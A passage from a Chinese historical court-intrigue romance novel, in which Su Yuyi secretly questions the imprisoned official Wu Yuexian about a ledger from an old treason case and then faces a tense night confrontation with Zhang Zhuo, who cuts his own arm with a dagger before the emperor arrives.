他沉默了一会才说:“只是突然觉得有些事,我做得太傲慢。” 很多时候,郁仪都觉得张濯是一个很难懂的人。因为他生性冷淡沉默,平时也很少说话。他像是背负了很多沉沉的东西,压着他直不起身,他却偏要固执地一步一步走下去,任由那千斤之重的东西,压得他溺死于宦海深处。 而那一刻的张濯,心里想的却是他觉得自己做错了一件事。 他对苏郁仪的帮助,究竟算不算一种自以为是的傲慢。 张濯素来多思,思得越多越进退维谷。 他被命运困住了。 摆脱不了,也不舍得摆脱。 如果没有命运的愚弄,他又如何能隔着一道生死,重新看见风华正茂的苏郁仪? “我替你保吴阅先不死。”他安静道,“不需要你向我做什么承诺,你只要答应我,不要以身犯险,好不好。” “张大人……” “这很为难?” “不是。”郁仪摇头,“你为什么要帮我?” “你说了要供我驱策,若是你死了,我又要去驱策谁?所以我自然会护你周全。” 郁仪垂下眼帘:“张大人,你对我说谎了。” “帮一个人的法子有千千万万种,可张大人你,总想让我好好活着。” “我不过是寻常的一名士子,纵然为官,也是品级最低的那一类人,于公于私,我都实在想不通自己何处值得大人这么对待。” 微风拂过她的面庞,她看向张濯:“我曾经做过一个梦。” “梦中的张大人已垂垂暮年,只是张大人身后流血漂橹,尸骨累累。不似如今这般傲岸高洁,像是变了一个人。”她越说声音越低,“张大人可知道这是什么缘故?” “你也说了,这不过是个梦。”张濯勾唇,似有蛊惑之意,“梦醒了,就该把梦里的一切全忘了。” 这样就不会害怕,也不会失望。 20.谒金门(四) 秦酌被刑科派去为审讯吴阅先做记录。 郁仪拿着酿橙来找他时,他正在房中翻翻找找,各种旧书废纸丢了一地。 酿橙是邓彤史做的,取新鲜的糯米与橙肉蒸至甜软,再重新装回到橙子里。她一连做了十几个,叫郁仪拿去分给大家都尝尝。 秦酌闻到橙子的香味抬起头来,看到是郁仪,拉了把椅子给她坐:“明天要审吴阅先了,据说这一回是陛下自己听刑审,我记得我有一本将刑讯的书,我得找出来好好读一读。这可是把脑袋别在裤腰带上的事,不能大意。” “哪有这么吓人。”郁仪安慰他,“尝尝,这是邓彤史做的。” 秦酌最近频频叹气,这甜美的酿成到了他手里也分外苦涩,郁仪道:“我来找你是想同你商量,明日我替你去刑部记录吴阅先的口供,你看如何?” “你疯了?”秦酌惊讶,“这种事躲都来不及躲,你还上赶着要去,命不要了?” “你别问那么多,我替你去自然有我的道理,你要是同意我去想办法。” 秦酌摇头:“这事不是我能做主的,你可以去找陆雩商量一下。他伤好了,又回来当值了。” 陆雩因为永定公主的事挨了八十杖,这才刚半个月便重新当值了,可见指挥使没舍得下重手。 郁仪点头:“我去问问他吧。” 秦酌见她坚定,忍不住多问了一句:“他若不答应呢?” 郁仪笑道:“那我便给你下点蒙汗药,把你药倒。” 秦酌叹气摇头:“交友不慎。” * 陆雩倒是很爽快地将这件事答应下来,他说可以为苏郁仪另设一个案席,放置在秦酌身边。 他的伤还没有痊愈,走路并不自然,他的目光落在郁仪身上,几次欲言又止。 “永定公主没事,娘娘也没舍得重罚她。”郁仪轻道,“她可来再找过你吗?” 陆雩笑笑:“公主已经把我忘了,这已经是最好的结果了。” 只是笑归笑,陆雩的眼神微微暗了一下。郁仪走时,他执意将她送到门口。 * 审讯吴阅先是在五月二十三,刚好这一日郁仪并不当值,所以她早早来到刑部门外等着。 天气一天天热了,刑部外的樟树倒是叶如伞盖,峭拔峥嵘。 一众人站在树下,倒也不敢攀谈什么。 秦酌低声对郁仪说:“吴阅先若是死了,这个朝堂便真没什么可指望的了。” 人陆陆续续到齐了,张濯作为户部的主官,自然不能缺席。 他的目光在郁仪身上停了停,又淡淡地转向别处。 皇帝来时见到郁仪,倒是颇有几分意外,郁仪随着众人一道对他行礼,他叫了声免礼,又对着郁仪笑了一下。 众人为皇帝在厂狱后面架起一扇高高的屏风,夔龙与麒麟跃然于其上,分外峥嵘摄人。 张濯在下首坐定,目光飘向那扇屏风时微微恍惚了一下。 他在想,太平十年的诏狱里,皇帝是不是也曾坐在同一扇屏风后面,看他们审讯苏郁仪。 这样高高在上、这样冰冷无情。 于是张濯又看向了坐在秦酌旁边的年轻女子。 她从随身的布包里掏出纸笔,正在细细地研墨,模样一丝不苟,好像没有任何事能打扰到她。 若能让时光暂驻,此刻何尝不是最好的时光呢。 * 因有皇帝在场,对吴阅先的审讯更像是一次走过场。 司礼监的郑合敬读完对他的定罪,另有左韫和一名锦衣卫迫使他抬头,几次问他:“认不认罪”这样的话。 吴阅先咬着齿关不开口,锦衣卫又碍于皇帝在场不敢用刑。 “我没有写反诗,也从没想过谋逆。”吴阅先嘶声道,“我只是想给百姓讨个说法,你们逼死我一个,后头还有无数个,你们贪生怕死,难不成还要杀尽大齐的忠臣么?” 秦酌第一次见这样的场面,气得说不出话来,一下子错过好几句,连忙偷看郁仪的手稿将遗落的部分补上。 审讯到了僵局,郁仪听见司礼监的几个人私下里谋划着要不要动刑。 皇帝派身边的内侍说先把人犯带下去一会儿再审,然后将张濯叫进了屏风后,显然是想再商量几句。 趁着这个档口,郁仪借口出去一趟,找到了陆雩。 “我想见吴阅先一面。”她轻声道,将银子塞给陆雩,“问他两句话就成,你能不能帮我行这个方便。” 陆雩像是早就预料到了一般,平平静静道:“他是要犯,盯着他的人很多,现下司礼监那边在商量着用私刑,我倒是能带你去一趟,但是至多一炷香的时间。” 郁仪忍不住问:“你像是知道我会来?” “其实昨日户部那边派人送来了一张状子,让指挥使准许你一同听审。”陆雩面不改色,“与其谢我,不如谢张尚书。” 郁仪抿了抿唇,跟着陆雩去了关押吴阅先的牢房。 吴阅先的神志有些涣散,郁仪叫了他两声,他才勉强睁开眼。 他眯着眼,像是在辨认:“你……” “吴郎中,你还记得谢云华吗?”郁仪的声音很低也很快,“二十三年前,他被污通敌,满门抄斩。” 吴阅先的眼睛微微睁大:“你……你是何人?” 他接着昏暗的灯光看向郁仪的五官,轻轻摇头:“你不是谢家的后人,二十三年前的谢家,没有这么小的女娃娃,就连遗腹子都不可能这么小。” 郁仪没有回答他的问题:“谢云华可曾交给吴郎中一本账簿?” “你是为了它来的啊。”吴阅先闭上眼。 他轮番受刑不住,猛地咳嗽起来。 “你以为司礼监想杀我,就凭区区一首诗吗?他们找它找了二十年,现在只有我死,他们才能彻底放心。”他又睁开眼睛,“可惜了,小姑娘,我没法信任你。” 吴阅先的声音越说越低,双目浑浊已至气息奄奄。 陆雩在门口咳了两声,示意郁仪时间到了。 郁仪从袖中掏出一个瓷瓶塞进吴阅先的手里:“这是内服的伤药。” 走出内狱的门,郁仪对陆雩道谢。 陆雩将她塞给自己的银子还给她:“不必谢我,我只是在还你那日的人情而已。” 顿了顿,他又笑道:“也是我该谢你,愿意将她的事再告诉我。” 他说这话更像是叹息,眼中又带着淡淡的释然。 郁仪回到坐席后,秦酌小声告诉他,皇帝已经决定改日再审一次,今日暂且作罢。 “苏侍读,我俩先将口供核对一遍,我回刑部也好交差。” “好。”郁仪将自己写好的口供递给秦酌,抬起头时与张濯目光相碰。 他的唇角不露痕迹地勾起一个极微小的弧度,而后转开了目光。 * 那日傍晚,回到住处之后,郁仪便将自己反锁在房中。 她展开宣纸,提笔写下了“谢云华”三个字。 这三个平平无奇的字组合到一起,便是兴平十年到二十年时的一场惊天大案。 首辅谢云华因通敌之罪满门抄斩。此案牵涉甚广,刽子手的大刀都砍得卷刃,西四牌楼外血流成河。 她掏出一块白玉玦和这张宣纸放在一起,用食指的指腹轻轻摩挲着上面镂刻的芙蓉花。 她的目光落在纸页上,直至门外响起了叩门声。 “谁?”郁仪将这张纸揉成团取下灯罩点燃。 “是我。” 声音平静如溶溶月色。 是张濯。 郁仪显然没料到他会来,待纸页燃尽后开门迎他进来。 张濯身上仍穿着官服,就连鬓发都一丝不乱。 背后是浓郁粘稠的夜色,以及头顶一轮清清冷冷的下弦月。 “张大人。”郁仪为他倒了杯茶,“这些还是上回张大人赠我的顾渚紫笋。” 她的住处干净又简素,一眼能看到头。除了床和柜子之外,也只有窗前的一张条桌上摆了些笔墨文房。 窗台上养了几盆花草,有两盆已经打上了花苞。 郁仪就这样洁净又简单的生活在这方寸之 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郁仪的目光落在张濯手上的药瓶上:“所以张大人在一开始就不让我插手这件事?” “为的是让吴郎中自刀尖上滚过这一回,好杀一儆百?” 郁仪袖中的手渐握成拳:“张大人就这般无情吗?” “就像汪又的死那样,为太后杀人、为私欲杀人?那么,良知呢?公道呢?” 张濯并不疾言厉色:“你凭什么以为我能护住他?又凭什么以为,你也能护住他?” “在松江时,张大人做我的主考官时曾在贡院里说过一句话。”郁仪看着他的眼睛,“张大人说,既决定入仕,便要克己奉公。这句话,张大人还记得吗?” 郁仪仰着头:“知其白,守其黑,为天下式。张大人曾把这句话写在贡院的辞板上,张大人也忘了吗?” 这对张濯来说,实在太久远了,已经隔了一道生死,几十年的光阴。 那一世,他与苏郁仪互相引以为知己,他们彼此是同路人、证道者。 他们二人共同发愿,要克己奉公,永志不改。 江山万古如长夜,他们曾是彼此照亮的人。 可惜物极必反,亢龙有悔。 张濯站起身走到郁仪面前,从袖中抽出一把兽首匕首,拔刀出鞘,将刀柄塞进郁仪的手里。 “你既觉得我心狠,不如我来替你想个法子。吴阅先在狱中受过多少伤,你便赏我多少刀,我既不躲,也不责备你,如何?” 他握着郁仪的手,缓缓将刀刃压在自己的手臂上。 张濯的手冷得像一块捂不化的冰,不等郁仪的回答,他手上便开始用力,一刀血痕划开他苍白的皮肤。 郁仪的心跳有些快,而张濯的心却宛如死水般平静。 张濯想要做什么,表明他的心迹,还是逼她向他妥协? 还是他要与她玉石共焚? 郁仪下意识向后退了一步,张濯却牢牢握住她的手,不给她挣脱的机会。 刀刃划破张濯的袖口,发出一声撕裂的闷响。 张濯凝睇着她,终于又轻声问:“还是说你犹嫌不足,要与我恩断义绝?” 他的心悬着,又不安地左奔右突着,像是一只手,扼住了他的喉咙。 太平九年的那一幕犹在眼前。 郁仪与他割袍断义之时,决绝得没有半分犹豫。 那么现在呢? 你又会如何对待已经面目全非的我? 缟素的墙面上落下他们二人交叠在一起的影子。 郁仪想要开口,门外却响起了一阵脚步声,她猛地转头看去,一个人影落在窗上,随后便是一阵敲门声。 “谁?”郁仪问。 “苏侍读,是朕。” 郁仪神色微变,她挣脱张濯的手,匕首掉在地毯上发出一声闷响。 郁仪抬眼向张濯望去,灯火葳蕤,他的眼眸雾海深深,像是要把她吸进去。